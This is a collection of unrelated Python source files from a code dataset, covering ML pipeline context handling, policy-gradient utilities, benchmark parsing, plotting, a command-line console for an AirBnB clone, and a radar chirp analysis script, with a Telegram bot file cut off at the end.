is_recording (bool, always True): Indicates that this is a\n `RecordingContext` as opposed to a `PlaybackContext`.\n \"\"\"\n\n def __init__(\n self, matrix, labels, test_indices, problem_type,\n random_state, allow_multicore, executor_class, receiver,\n ):\n self.input_columns = matrix.column_names\n self.matrix = matrix.copy()\n self.labels = labels\n self.test_indices = test_indices\n self.problem_type = problem_type\n self.random_state = random_state\n self.allow_multicore = allow_multicore\n self.executor_class = executor_class\n self.receiver = receiver\n self.steps = []\n self.pool = None\n self.is_recording = True\n\n @property\n def is_classification(self):\n return self.problem_type == 'classification'\n\n @property\n def is_regression(self):\n return self.problem_type == 'regression'\n\n @property\n def predicts_column(self):\n return self.labels.name\n\n @property\n def predicts_classes(self):\n return self.labels.classes\n\n @property\n def random_state_kw(self):\n return ({} if self.random_state is None\n else {'random_state': self.random_state})\n\n def __lshift__(self, estimator):\n \"\"\"Provides convenient syntax for calling submit_fit.\n\n So instead of:\n\n ctx.submit_fit(xgboost.XGBRegressor(n_jobs=-1, random_state=1))\n\n You can write:\n\n ctx << xgboost.XGBRegressor(n_jobs=-1, random_state=1)\n \"\"\"\n\n self.submit_fit(estimator)\n\n def submit_fit(self, estimator):\n \"\"\"Submits `self.fit(estimator)` to the current executor.\n\n If the context does not currently have an executor, then this method\n simply calls `self.fit(estimator)`.\n \"\"\"\n\n if self.pool is None:\n self.fit(estimator)\n elif hasattr(self.pool, 'fit'):\n self.pool.fit(self, estimator)\n else:\n self.pool.submit(self.fit, estimator)\n\n def fit(self, estimator):\n X, y = self.training_data()\n X = scipy.sparse.csr_matrix(X._float_array())\n\n try:\n estimator.fit(X, y)\n except Exception:\n logging.getLogger('autom8').exception('Failure in fit method')\n return\n\n pipeline = Pipeline(\n input_columns=self.input_columns,\n predicts_column=self.predicts_column,\n steps=list(self.steps),\n estimator=estimator,\n label_encoder=self.labels.encoder,\n )\n\n candidate = create_candidate(self, pipeline)\n self.receiver.receive_candidate(candidate)\n\n def submit(self, func, *args, **kwargs):\n if self.pool is None:\n func(*args, **kwargs)\n else:\n self.pool.submit(f, *args, **kwargs)\n\n def testing_data(self):\n feat = self.matrix.select_rows(self.test_indices)\n lab = self.labels.encoded[self.test_indices]\n return (feat, lab)\n\n def training_data(self):\n feat = self.matrix.exclude_rows(self.test_indices)\n lab = np.delete(self.labels.encoded, self.test_indices)\n return (feat, lab)\n\n @contextmanager\n def sandbox(self):\n saved_matrix = self.matrix.copy()\n saved_steps = list(self.steps)\n yield\n self.matrix = saved_matrix\n self.steps = saved_steps\n\n @contextmanager\n def parallel(self):\n if self.pool is not None:\n yield\n return\n\n num_steps = len(self.steps)\n self.pool = self.executor_class()\n yield\n\n try:\n self.pool.shutdown(wait=True)\n finally:\n self.pool = None\n\n if len(self.steps) != num_steps:\n self.receiver.warn(\n 'Potential race condition: The RecordingContext was updated'\n ' within a `parallel` context. To avoid any race conditions,'\n ' use the `sandbox` method to create a temporary copy of the'\n ' RecordingContext. Then apply your preprocessing functions'\n ' to the sandboxed copy.'\n )\n\n\nclass Labels(namedtuple('Labels', 'name, original, encoded, encoder')):\n @property\n def classes(self):\n return self.encoder.classes_.tolist() if self.encoder else None\n\n\n\nclass SynchronousExecutor:\n def fit(self, context, estimator):\n self.submit(context.fit, estimator)\n\n def submit(self, func, *args, **kwargs):\n func(*args, **kwargs)\n\n def shutdown(self, wait=True):\n pass\n","sub_path":"autom8/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":10462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"196618797","text":"import numpy as np\nfrom gym.spaces import Box, Discrete\nimport tensorflow as tf\nfrom baselines.common.policies_bc import build_policy, build_gradient\nimport baselines.common.tf_util as U\nfrom baselines.common.models import mlp\n\n\ndef unit_vector(vector):\n \"\"\" Returns the unit vector of the vector. \"\"\"\n return vector / np.linalg.norm(vector)\n\n\ndef angle_between(v1, v2, degrees=False):\n\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n rad = np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n if degrees:\n return np.degrees(rad)\n return rad\n\n\ndef check_minimum(pi,behavioral_pi, omega, trajectories,episode_length=50, use_baseline=False,\n use_mask=False, scale_features=1,features_idx=[0,1,2]):\n weights = pi.get_weights()\n new_weights = behavioral_pi.get_weights()\n base_dir = weights - new_weights\n\n print(\"Norm base dir:\", np.linalg.norm(base_dir))\n #pi.set_weights(new_weights)\n states, actions, features, dones = trajectories\n grad, inf = compute_gradient(pi,states,actions,features,dones,\n episode_length=episode_length,\n omega=omega,\n use_baseline=use_baseline,\n use_mask=use_mask,\n scale_features=scale_features,\n features_idx=features_idx,\n behavioral_pi=behavioral_pi)\n print(\"Grad dir:\", np.linalg.norm(grad))\n angle = angle_between(base_dir,grad.mean(axis=0), degrees=True)\n #pi.set_weights(weights)\n print(angle)\n input()\n return angle\n\n\ndef compute_gradient(pi, x_dataset,y_dataset, r_dataset, dones_dataset,\n episode_length, discount_f=0.9999, features_idx=[0,1,2],\n omega=None, normalize_f=False, verbose=False,\n use_baseline=False, use_mask=False, scale_features=1, behavioral_pi=None, diag=False):\n steps = len(x_dataset)\n num_episodes = steps // episode_length\n r_dim = len(features_idx)\n logger = {}\n # discount factor vector over a finite episode\n gamma = []\n for t in range(episode_length):\n gamma.append(discount_f ** t)\n\n np.random.seed(123456)\n # discounted reward features computation\n num_episodes = np.sum(dones_dataset)\n if verbose:\n print(\"Episodes:\", num_episodes)\n\n discounted_phi = []\n for episode in range(num_episodes):\n base = episode * episode_length\n r = np.array(r_dataset[base: base + episode_length]).T\n # b = np.random.binomial(1, 1, size=EPISODE_LENGTH)\n reward = []\n try:\n for idx in features_idx:\n reward.append(r[idx])\n except:\n print(\"Episode:\", episode)\n raise ValueError(\"Dataset corrupted\")\n reward = np.array(reward).T * scale_features\n if omega is not None:\n assert len(omega) == len(features_idx), \"Features and weights different dimensionality\"\n reward = (reward*omega).sum(axis=-1)\n discounted_phi.append(reward * gamma)\n else:\n discounted_phi.append(reward * np.tile(gamma, (r_dim, 1)).transpose())\n discounted_phi = np.array(discounted_phi)\n expected_discounted_phi = discounted_phi.sum(axis=0).sum(axis=0) / num_episodes\n print('Featrues Expectations:', expected_discounted_phi)\n # normalization factor computation\n if normalize_f:\n discounted_phi = np.array(discounted_phi)\n expected_discounted_phi = discounted_phi.sum(axis=0).sum(axis=0) / num_episodes\n if verbose:\n print('Expected discounted phi = ', expected_discounted_phi)\n input()\n #print('Expected discounted phi = ', expected_discounted_phi)\n #input()\n logger['expected_discounted_phi'] = expected_discounted_phi\n expected_discounted_phi = np.tile(expected_discounted_phi, (num_episodes, episode_length, 1))\n discounted_phi /= expected_discounted_phi\n\n # computing the gradients of the logarithm of the policy wrt policy parameters\n episode_gradients = []\n probs = []\n\n for step in range(steps):\n\n step_layers = pi.compute_gradients([x_dataset[step]], [y_dataset[step]])\n step_gradients = []\n for layer in step_layers:\n step_gradients.append(layer.ravel())\n step_gradients = np.concatenate(step_gradients)\n\n episode_gradients.append(step_gradients)\n if behavioral_pi is not None:\n target_pi_prob = pi.prob(x_dataset[step], y_dataset[step])\n behavioral_pi_prob = behavioral_pi.prob(x_dataset[step], y_dataset[step])\n probs.append(target_pi_prob / (behavioral_pi_prob + 1e-10))\n\n #print(\"Step:\",step)\n gradients = []\n ratios = []\n\n for episode in range(num_episodes):\n base = episode * episode_length\n gradients.append(episode_gradients[base: base + episode_length])\n if behavioral_pi is not None:\n #target_pi_prob = pi.prob(x_dataset[base:, base + episode_length],\n # y_dataset[base:, base + episode_length])\n\n ratios.append(probs[base: base + episode_length])\n\n gradients = np.array(gradients)\n if behavioral_pi is not None:\n ratios = np.array(ratios)\n\n # GPOMDP optimal baseline computation\n num_params = gradients.shape[2]\n logger['num_params'] = num_params\n if omega is None:\n cum_gradients = np.transpose(np.tile(gradients, (r_dim, 1, 1, 1)), axes=[1, 2, 3, 0]).cumsum(axis=1)\n if behavioral_pi is not None:\n #importance_weight = np.transpose(np.tile(ratios, (r_dim, num_params, 1, 1)), axes=[2, 3, 1, 0]).cumprod(axis=1)\n importance_weight = ratios.cumprod(axis=1)\n cum_gradients = cum_gradients * importance_weight\n phi = np.transpose(np.tile(discounted_phi, (num_params, 1, 1, 1)), axes=[1, 2, 0, 3])\n\n else:\n cum_gradients = gradients.cumsum(axis=1)\n if behavioral_pi is not None:\n #importance_weight = np.transpose(np.tile(ratios, (num_params, 1, 1)), axes=[1, 2, 0]).cumprod(axis=1)\n importance_weight = ratios.cumprod(axis=1)\n cum_gradients = cum_gradients * importance_weight\n phi = np.transpose(np.tile(discounted_phi, (num_params, 1, 1)), axes=[1, 2, 0])\n\n num = (cum_gradients ** 2 * phi).sum(axis=0)\n den = (cum_gradients ** 2).sum(axis=0) + 1e-10\n baseline = num / den\n '''\n # Freeing memory\n del X_dataset\n del y_dataset\n del r_dataset\n del episode_gradients\n del gamma\n del discounted_phi\n '''\n # GPOMDP objective function gradient estimation\n if use_baseline:\n if omega is None:\n baseline = np.tile(baseline, (num_episodes, 1, 1, 1))\n else:\n baseline = np.tile(baseline, (num_episodes, 1, 1))\n if use_mask:\n mask = np.array(dones_dataset).reshape((num_episodes, episode_length))\n for ep in range(num_episodes):\n for step in range(episode_length):\n if mask[ep, step] == 1.:\n break\n mask[ep, step] = 1\n if omega is None:\n baseline *= np.tile(mask, (num_params, r_dim, 1, 1)).transpose((2, 3, 0, 1))\n else:\n baseline *= np.tile(mask, (num_params, 1, 1)).transpose((1, 2, 0))\n\n phi = phi - baseline\n\n estimated_gradients = (cum_gradients * (phi)).sum(axis=1)\n\n return estimated_gradients, {'logger': logger}\n\n\ndef load_policy(X_dim,model, num_actions=4, continuous=False, n_bases=50,\n beta=1.,trainable_variance=False, init_logstd=-0.4):\n\n if continuous:\n observation_space = Box(low=-np.inf, high=np.inf, shape=(n_bases,))\n action_space = Box(low=np.array([-1., -1.]), high=np.array((1., 1.)))\n else:\n observation_space = Box(low=-np.inf, high=np.inf, shape=(X_dim,))\n action_space = Discrete(num_actions)\n\n tf.reset_default_graph()\n sess = U.make_session(make_default=True)\n network = mlp(num_hidden=X_dim, num_layers=0)\n\n if 'checkpoint' in model:\n pi = build_policy(observation_space, action_space, network,\n train=False, beta=beta,\n trainable_variance=trainable_variance,\n init_logstd=init_logstd)\n with tf.variable_scope('pi'):\n policy_train = pi()\n U.initialize()\n policy_train.load(model)\n\n else:\n try:\n pi = build_policy(observation_space, action_space, network,\n train=False, beta=beta,\n trainable_variance=trainable_variance,\n init_logstd=init_logstd)\n policy_train = pi()\n U.initialize()\n policy_train.load(model)\n except KeyError:\n sess.close()\n tf.reset_default_graph()\n sess = U.make_session(make_default=True)\n network = mlp(num_hidden=X_dim, num_layers=0)\n pi = build_policy(observation_space, action_space, network,\n train=False, beta=beta,\n trainable_variance=trainable_variance,\n init_logstd=init_logstd)\n with tf.variable_scope('pi'):\n policy_train = pi()\n U.initialize()\n policy_train.load(model)\n return policy_train\n\n\ndef estimate_cov(estimated_gradients, diag=False):\n _, num_episodes = estimated_gradients.shape[:]\n if diag:\n sigma = np.diag(np.std(estimated_gradients, axis=1)**2)\n else:\n sigma = np.cov(estimated_gradients)\n n = sigma.shape[0]\n m = np.trace(sigma) / n\n d_sym = sigma - m*np.eye(n)\n d = np.trace(np.dot(d_sym, d_sym.T)) / n\n prod = 0\n for ep in range(num_episodes):\n if n > 1000:\n print(ep)\n column = estimated_gradients[:, ep].reshape((-1, 1))\n prod_sym = np.dot(column, column.T) - sigma\n prod += np.trace(np.dot(prod_sym, prod_sym.T)) / n\n prod /= (num_episodes**2)\n b = np.minimum(prod, d)\n a = d - b\n return b / d * m * np.eye(n) + a / d * sigma\n","sub_path":"algorithms/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"492995706","text":"import glob\nfrom collections import defaultdict\nimport json\nimport io\nimport numpy as np\n\nBEFORE = 'before-commit'\nAFTER = 'after-commit'\n\nSORT_KEY = {\n \"cpu\": -1,\n \"after_3\": 3,\n \"for_inner_1\": 4,\n \"for_outer_1\": 5,\n \"for_inner_div4\": 6,\n \"for_outer_div4\": 7,\n \"for_inner_div8\": 8,\n \"for_outer_div8\": 9,\n \"for_inner_div16\": 10,\n \"for_outer_div16\": 11\n}\n\nclass Markdown:\n def __init__(self):\n self.buffer = io.BufferedRandom(io.BytesIO())\n self.enc = 'utf-8'\n \n def write(self, s: str):\n self.buffer.write(s.encode(self.enc))\n \n def read(self) -> bytes:\n self.buffer.seek(0)\n return self.buffer.read()\n\ndef main():\n profs = glob.glob('./prof*.txt')\n\n dt_gpu = defaultdict(dict)\n dt_cpu = defaultdict(dict)\n columns = [\"cpu\"]\n\n for prof in profs:\n impl_key = prof[7:-4]\n columns.append(impl_key)\n\n with open(prof, 'r') as f:\n fl = f.readlines()\n \n al = [line.rstrip().split(' ') for line in fl if line.startswith('[')]\n\n for line in al:\n shape = line[0]\n t_cpu, t_gpu = (float(x) for x in line[-2:])\n\n dt_gpu[shape][impl_key] = t_gpu\n dt_cpu[shape][impl_key] = t_cpu\n \n columns.sort(key=SORT_KEY.__getitem__)\n \n print(json.dumps(dt_gpu, indent=2))\n # print(dt_cpu)\n\n md = Markdown()\n md.write('time is in **ms** (10^-3 s)\\n\\n')\n md.write('|shape|' + '|'.join(columns) + '|\\n')\n md.write('|---:' * (len(columns)+1) + '|\\n')\n\n for shape in dt_gpu.keys():\n t_cpu_avg = np.mean([x for x in dt_cpu[shape].values()])\n md.write(f'| {shape} | {t_cpu_avg : .3f} |')\n\n for column in columns[1:]:\n md.write(f' {dt_gpu[shape].get(column, -1) : .3f} |')\n \n md.write('\\n')\n\n\n with open('readme.md', 'wb') as f:\n f.write(md.read())\n \n\nif __name__ == \"__main__\":\n main()","sub_path":"linalg/svd/at-parallel-for/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"266863518","text":"import matplotlib.pyplot as plt\n\n\n# Draws the scatterplot for two features in the index Xindex and yxindex\ndef scatterPlot(X, Xindex, yx, yxindex):\n f = plt.figure()\n ax1 = f.add_subplot(111)\n ax1.scatter(X[:, Xindex], yx[:, yxindex], c='r', marker='s', label='first')\n plt.legend(loc='upper left');\n plt.show()\n # f.savefig(\"ScatPlot.pdf\", bbox_inches='tight')\n\n\n# Draws scatterplot for two features by seperating them compared to y values being 0 or 1.\ndef scatterPlotwithY(X, Xindex, yx, yxindex, y):\n f = plt.figure()\n ax1 = f.add_subplot(111)\n listpositivex1 = []\n listpositivex2 = []\n\n listnegative1 = []\n listnegative2 = []\n\n for i in range(len(y)):\n if y[i] == 1:\n listpositivex1.append(X[i, Xindex])\n listpositivex2.append(yx[i, yxindex])\n else:\n listnegative1.append(X[i, Xindex])\n listnegative2.append(yx[i, yxindex])\n f = plt.figure()\n ax1 = f.add_subplot(111)\n ax1.scatter(listpositivex1, listpositivex2, c='r', marker='s', label='positive')\n ax1.scatter(listnegative1, listnegative2, c='b', marker='s', label='negative')\n\n plt.legend(loc='upper left');\n plt.show()\n # f.savefig(\"ScatterPlot.pdf\", bbox_inches='tight')\n","sub_path":"code/plotting/scattergraph_plotting.py","file_name":"scattergraph_plotting.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"381707960","text":"#!/usr/bin/python3\n''' Module that supports the console behavior\n'''\nimport cmd\nimport string\nimport sys\nfrom models import storage\nfrom models.engine.file_storage import FileStorage\nfrom models.base_model import BaseModel\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\nfrom models.user import User\nfrom itertools import count\n\n\nclass HBNBCommand(cmd.Cmd):\n prompt = '(hbnb) '\n my_class = {\"BaseModel\": BaseModel, \"Amenity\": Amenity,\n \"City\": City, \"Place\": Place, \"Review\": Review,\n \"User\": User, \"State\": State}\n file = None\n\n def do_quit(self, arg):\n \"Quit command to exit the program\"\n sys.exit(1)\n\n def do_EOF(self, arg):\n \"Quit command to exit the program\"\n sys.exit(1)\n\n def emptyline(self):\n \"\"\"Ignores empty spaces\"\"\"\n pass\n\n def do_create(self, arg):\n \"\"\"\n Creates a new instance of BaseModel\n and saves it to JSON file\n \"\"\"\n if arg == \"\":\n print(\"** class name missing **\")\n return\n try:\n new_instance = {}\n new_instance = eval(arg)()\n new_instance.save()\n print(new_instance.id)\n except NameError:\n print(\"** class doesn't exist **\")\n return\n\n def do_show(self, arg):\n \"\"\"\n Prints the string representation of an instance\n based on the class name and id\n \"\"\"\n if arg == \"\":\n print(\"** class name missing **\")\n return\n arg_list = arg.split()\n try:\n list_arg = eval(arg_list[0])()\n except Exception:\n print(\"** class doesn't exist **\")\n return\n if len(arg_list) == 1:\n print(\"** instance id missing **\")\n return\n instance = 0\n for key, value in storage.all().items():\n if key == \"{}.{}\".format(arg_list[0], arg_list[1]):\n print(value)\n instance = 1\n if instance == 0:\n print(\"** no instance found **\")\n\n def do_destroy(self, arg):\n \"\"\" Delete a class instance of a given id.\"\"\"\n list_arg = arg.split()\n obj_dict = storage.all()\n if len(list_arg) == 0:\n print(\"** class name missing **\")\n elif list_arg[0] not in HBNBCommand.my_class:\n print(\"** class doesn't exist **\")\n elif len(list_arg) == 1:\n print(\"** instance id missing **\")\n elif \"{}.{}\".format(list_arg[0], list_arg[1]) not in obj_dict.keys():\n print(\"** no instance found **\")\n else:\n del obj_dict[\"{}.{}\".format(list_arg[0], list_arg[1])]\n storage.save()\n\n def do_all(self, arg):\n \"\"\" Prints all string representation of all instances\n based or not on the class name.\n Ex: $ all BaseModel or $ all.\"\"\"\n list_arg = arg.split()\n if len(list_arg) > 0 and list_arg[0] not in HBNBCommand.my_class:\n print(\"** class doesn't exist **\")\n else:\n obj_list = []\n for obj in storage.all().values():\n if len(list_arg) > 0 and list_arg[0] == obj.__class__.__name__:\n obj_list.append(obj.__str__())\n elif len(list_arg) == 0:\n obj_list.append(obj.__str__())\n print(obj_list)\n\n def do_update(self, arg):\n \"\"\"Usage: update or\n .update(, , ) or\n .update(, )\n Update a class instance of a given id by adding or updating\n a given attribute key/value pair or dictionary.\"\"\"\n list_arg = arg.split()\n obj_dict = storage.all()\n\n if len(list_arg) == 0:\n print(\"** class name missing **\")\n return False\n if list_arg[0] not in HBNBCommand.my_class:\n print(\"** class doesn't exist **\")\n return False\n if len(list_arg) == 1:\n print(\"** instance id missing **\")\n return False\n if \"{}.{}\".format(list_arg[0], list_arg[1]) not in obj_dict.keys():\n print(\"** no instance found **\")\n return False\n if len(list_arg) == 2:\n print(\"** attribute name missing **\")\n return False\n if len(list_arg) == 3:\n try:\n type(eval(list_arg[2])) != dict\n except NameError:\n print(\"** value missing **\")\n return False\n\n if len(list_arg) == 4:\n obj = obj_dict[\"{}.{}\".format(list_arg[0], list_arg[1])]\n if list_arg[2] in obj.__class__.__dict__.keys():\n valtype = type(obj.__class__.__dict__[list_arg[2]])\n obj.__dict__[list_arg[2]] = valtype(list_arg[3])\n else:\n obj.__dict__[list_arg[2]] = list_arg[3]\n elif type(eval(list_arg[2])) == dict:\n obj = obj_dict[\"{}.{}\".format(list_arg[0], list_arg[1])]\n for k, v in eval(list_arg[2]).items():\n if (k in obj.__class__.__dict__.keys() and\n type(obj.__class__.__dict__[k]) in {str, int, float}):\n valtype = type(obj.__class__.__dict__[k])\n obj.__dict__[k] = valtype(v)\n else:\n obj.__dict__[k] = v\n storage.save()\n\n def do_count(self, arg):\n \"\"\"Usage: count or .count()\n Retrieve the number of instances of a given class.\"\"\"\n list_arg = arg.split()\n c = 0\n for obj in storage.all().values():\n if (list_arg[0] == obj.__class__.__name__):\n c += 1\n print(c)\n\n def point_all(self, arg):\n list_arg = arg.split(\".\")\n if \"()\" in arg and len(list_arg) == 2:\n string = list_arg[1].split(\"(\")[0] + \" \" + list_arg[0]\n return string\n else:\n return arg\n\n def point_count(self, arg):\n list_arg = arg.split(\".\")\n if \"()\" in arg and len(list_arg) == 2:\n string = list_arg[1].split(\"(\")[0] + \" \" + list_arg[0]\n return string\n else:\n return arg\n\n def point_show(self, arg):\n list_arg = arg.split(\".\")\n if \"(\" and \")\" in arg and len(list_arg) == 2:\n new = list_arg[1].split(\"(\\\"\")\n new[1] = new[1].split(\"\\\")\")[0]\n string = new[0] + \" \" + list_arg[0] + \" \" + new[1]\n return string\n else:\n return arg\n\n def point_destroy(self, arg):\n list_arg = arg.split(\".\")\n if \"(\" and \")\" in arg and len(list_arg) == 2:\n new = list_arg[1].split(\"(\\\"\")\n new[1] = new[1].split(\"\\\")\")[0]\n string = new[0] + \" \" + list_arg[0] + \" \" + new[1]\n return string\n else:\n return arg\n\n def precmd(self, arg):\n x = self.point_all(arg)\n if(x == arg):\n x = self.point_count(arg)\n if(x == arg):\n x = self.point_show(arg)\n if(x == arg):\n x = self.point_destroy(arg)\n return x\n\n\nif __name__ == '__main__':\n HBNBCommand().cmdloop()\n","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":7328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"575805115","text":"from scipy.signal import chirp, sweep_poly, spectrogram, welch\nfrom scipy.special import factorial\nimport scipy.signal as signal\nimport matplotlib.pyplot as plt\nplt.style.use('masterThesis')\nimport matplotlib as mpl\n\nimport scipy.optimize as optimize\nimport pickle\n\ndebug=True\nimagePath = '../figures/cycloDemo/'\n\n# TODO Average out the cyclic frequency plot by , say 100 packets\n\nif debug==False:\n mpl.use(\"pgf\")\n mpl.rcParams.update({\n \"pgf.texsystem\": \"lualatex\",\n 'font.family': 'serif',\n 'text.usetex': True,\n 'pgf.rcfonts': False,\n })\n \nimport numpy as np\nimport rftool.radar as radar\nimport rftool.utility as util\nimport rftool.estimation as estimate\n\nFs=np.intc(802e3) # receiver sample rate\nT=np.float(6e-3) # Pulse duration\npoints = np.intc(Fs*T)\nt = np.linspace(0, T, points)\n\ntargetBw=100e3 # Pulse BW\ncenterFreq=100e3 # Pulse center frequency\n\n# Time domain window for NLFM generation\nNLFM = radar.chirp(Fs)\nNLFM.fftLen = 2048\n\n\n# Synthesize the target autocorrelation function\n#indow_t = signal.chebwin(np.intc(2048), 60)\nwindow_t = signal.hamming(np.intc(2048))\n#window_t = signal.gaussian(np.intc(2048), 360)\n#window_t = signal.gaussian(np.intc(2048), 400)\nNLFM.getCoefficients( window_t, targetBw=targetBw, centerFreq=centerFreq, T=T)\nNLFMsig = NLFM.genFromPoly()\n\nbitStream = np.random.randint(0, 2, 32)\nmodSig = NLFM.modulate(bitStream)\n#modSig = util.wgnSnr( modSig, -40 )\n\n\n# Plot autocorrelation of signal for report\nRxx = np.abs(signal.correlate(modSig, modSig, mode='full', method='fft'))\nRxx = Rxx[np.intc(len(Rxx)/2):]\nf0 = estimate.f0MleTime(Rxx=Rxx, f=Fs, peaks=5)\n\ndt = (1/Fs)\nt = np.linspace(0, len(Rxx)*dt,len(Rxx))\nfig, ax = plt.subplots()\nax.set_xmargin(0.01)\nax.plot(t, Rxx)\nax.set_xlabel('Cycle Perios [s]')\nax.set_ylabel('Correlation')\nax.ticklabel_format(useMathText=True, scilimits=(0,3))\nplt.tight_layout()\n\nif debug == False:\n fileName = 'Rxx_32_bit_sig'\n plt.savefig(imagePath + fileName + '.png', bbox_inches='tight')\n plt.savefig(imagePath + fileName + '.pgf', bbox_inches='tight')\n\n\n# Spectral Correlation Density\nSCD, f, alpha = estimate.FAM(modSig, Fs = Fs, plot=False, method='conj', scale='linear')\nestimate.cyclicEstimator( SCD, f, alpha, bandLimited=False )\n\nSCDplt = np.abs(SCD)\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n# Plot for positive frequencies\nim = ax.pcolormesh(alpha, f[np.intc(len(f)/2):-1], SCDplt[np.intc(len(f)/2):-1,:], edgecolors='none')\nax.ticklabel_format(useMathText=True, scilimits=(0,3))\n#plt.title(\"Spectral Correlation Density\")\nax.set_xlabel(\"alpha [Hz]\")\nax.set_ylabel(\"f [Hz]\")\nfig.colorbar(im)\nplt.tight_layout()\n #! in Report\nif debug==False:\n plt.savefig(imagePath+'SCD_FM_32'+'.png', bbox_inches='tight')\n plt.savefig(imagePath+'SCD_FM_32'+'.pgf', bbox_inches='tight')\n\n\n# plot the alpha distribution for f=f_c\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\nax.plot(alpha, np.abs(SCD[144,:]))\nax.ticklabel_format(useMathText=True, scilimits=(0,3))\nax.set_xlabel(\"alpha [Hz]\")\nax.set_ylabel(\"Correlation\")\nplt.tight_layout()\nif debug==False:\n plt.savefig(imagePath+'S_fc'+'.png', bbox_inches='tight')\n plt.savefig(imagePath+'S_fc'+'.pgf', bbox_inches='tight')\n\n\"\"\"\nmean, var, skew, kurt = norm.stats(moments='mvsk')\nx = np.linspace(norm.ppf(0.01), norm.ppf(0.99), 100)\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\nax.plot(x, norm.pdf(x), label='norm pdf')\n\"\"\"\n# Fit a GMM\ncyclicVec = np.abs(SCD[144,:])\ncyclicVec[np.intc(len(cyclicVec)/2)] = 0\n\ndef func(x, *params):\n y = np.zeros_like(x)\n for i in range(0, len(params), 3):\n ctr = params[i]\n amp = params[i+1]\n wid = params[i+2]\n y = y + amp * np.exp( -((x - ctr)/wid)**2)\n return y\n\n# gaussian[\\mu, \\phi, \\sigma]\nFsymb = 1/T\nwidth = 3\nnumbOfGausses = 6 \n#gaussian1 = np.array([1*Fsymb,1,1*width])\nGaussian = np.array([])\nfor i in range(-numbOfGausses,numbOfGausses+1):\n if i!=0:\n GmVecIt = np.array([i*Fsymb,np.abs(1/i),i*width])\n Gaussian = np.append(Gaussian, GmVecIt)\n \"\"\"else:\n GmVecIt = np.array([i*Fsymb,np.abs(1/2),2*width])\n Gaussian = np.append(Gaussian, GmVecIt)\"\"\"\n\nfit = func(alpha, *Gaussian)\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n#ax.plot(alpha, cyclicVec, label='Cyclic Autorcorrelation')\nax.plot(alpha, fit, label='GMM PDF')\nax.set_xlabel('alpha [Hz]')\nax.set_ylabel('Weighting')\nax.ticklabel_format(useMathText=True, scilimits=(0,3))\nax.legend()\nplt.tight_layout()\n\nif debug==False:\n plt.savefig(imagePath+'Spectral_Autocorr_Density_GMM'+'.png', bbox_inches='tight')\n plt.savefig(imagePath+'Spectral_Autocorr_Density_GMM'+'.pgf', bbox_inches='tight')\n\n # Write GMM to binary file\n path = '../jobs/'\n filename = 'SCD_GMM'\n destination = path + filename + '.pkl'\n # Save job to binary file\n with open(destination,'wb') as F:\n pickle.dump(fit, F)\n\n\n# Plot cyclic correlation at alpha = 0 and multiples of f_symb\n# Only plot for positive frequencies\nzeroAplhaIndex = np.intc(len(alpha)/2)\nlen200kHz = np.intc(len(f)/4)\nindex200kHz = len(f)-len200kHz\nzeroF = np.intc(len(f)/2)\nfPos = f[zeroF:index200kHz]\n\n# Single-sided cyclic plot\nSCDsingle = np.add(np.abs(SCD[:,zeroAplhaIndex:]),np.abs(np.flip(SCD[:,:zeroAplhaIndex], axis=1)))\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n# alpha = 0\nalpha0Index = 0#np.intc(len(alpha)/2)\nax.plot(fPos, np.abs(SCDsingle[zeroF:index200kHz:, alpha0Index]), label='alpha=0')\n# alpha = Fsymbs\ndeltaAlpha = (alpha[-1]-alpha[0])/(len(alpha)-1)\nFsymbAlpha = alpha0Index+np.intc(Fsymb/deltaAlpha)\nax.plot(fPos, np.abs(SCDsingle[zeroF:index200kHz:, FsymbAlpha]), label='alpha=|1/T|')\n# alpha = 2Fsymb\ntwoFsymbAlpha = alpha0Index+2*np.intc(Fsymb/deltaAlpha)\nax.plot(fPos, np.abs(SCDsingle[zeroF:index200kHz:, twoFsymbAlpha]), label='alpha=|2/T|')\n\"\"\"# alpha = 3Fsymb\nthreeFsymbAlpha = alpha0Index+3*np.intc(Fsymb/deltaAlpha)\nax.plot(fPos, np.abs(SCDsingle[zeroF:index200kHz:, threeFsymbAlpha]), label='alpha=|3/T|')\"\"\"\n\"\"\"# alpha = 4Fsymb\nfourFsymbAlpha = alpha0Index+4*np.intc(Fsymb/deltaAlpha)\nax.plot(fPos, np.abs(SCDsingle[zeroF:index200kHz:, fourFsymbAlpha]), label='alpha=|4/T|')\"\"\"\n\nax.ticklabel_format(useMathText=True, scilimits=(0,3))\nax.set_xlabel(\"f [Hz]\")\nax.set_ylabel(\"Correlation\")\nplt.tight_layout()\nax.legend()\nif debug==False:\n plt.savefig(imagePath+'S_alpha'+'.png', bbox_inches='tight')\n plt.savefig(imagePath+'S_alpha'+'.pgf', bbox_inches='tight')\n\nplt.show()","sub_path":"ChirpAnalyzer/CS_HarmonicCycleFrequencies.py","file_name":"CS_HarmonicCycleFrequencies.py","file_ext":"py","file_size_in_byte":6465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"436211434","text":"import requests\nfrom flask import Flask, request\nfrom telegram.bot import Bot, get_url\nfrom command import command_start\nimport os\nfrom dotenv import load_dotenv\n#from pyngrok import ngrok\n\nload_dotenv()\n\nTOKEN = os.getenv(\"TOKEN\")\n\n#Set up local tunnel\n# tunnel = ngrok.connect(5000)\n# res = requests.post(get_url(TOKEN, \"setWebhook\"), json={\"url\": 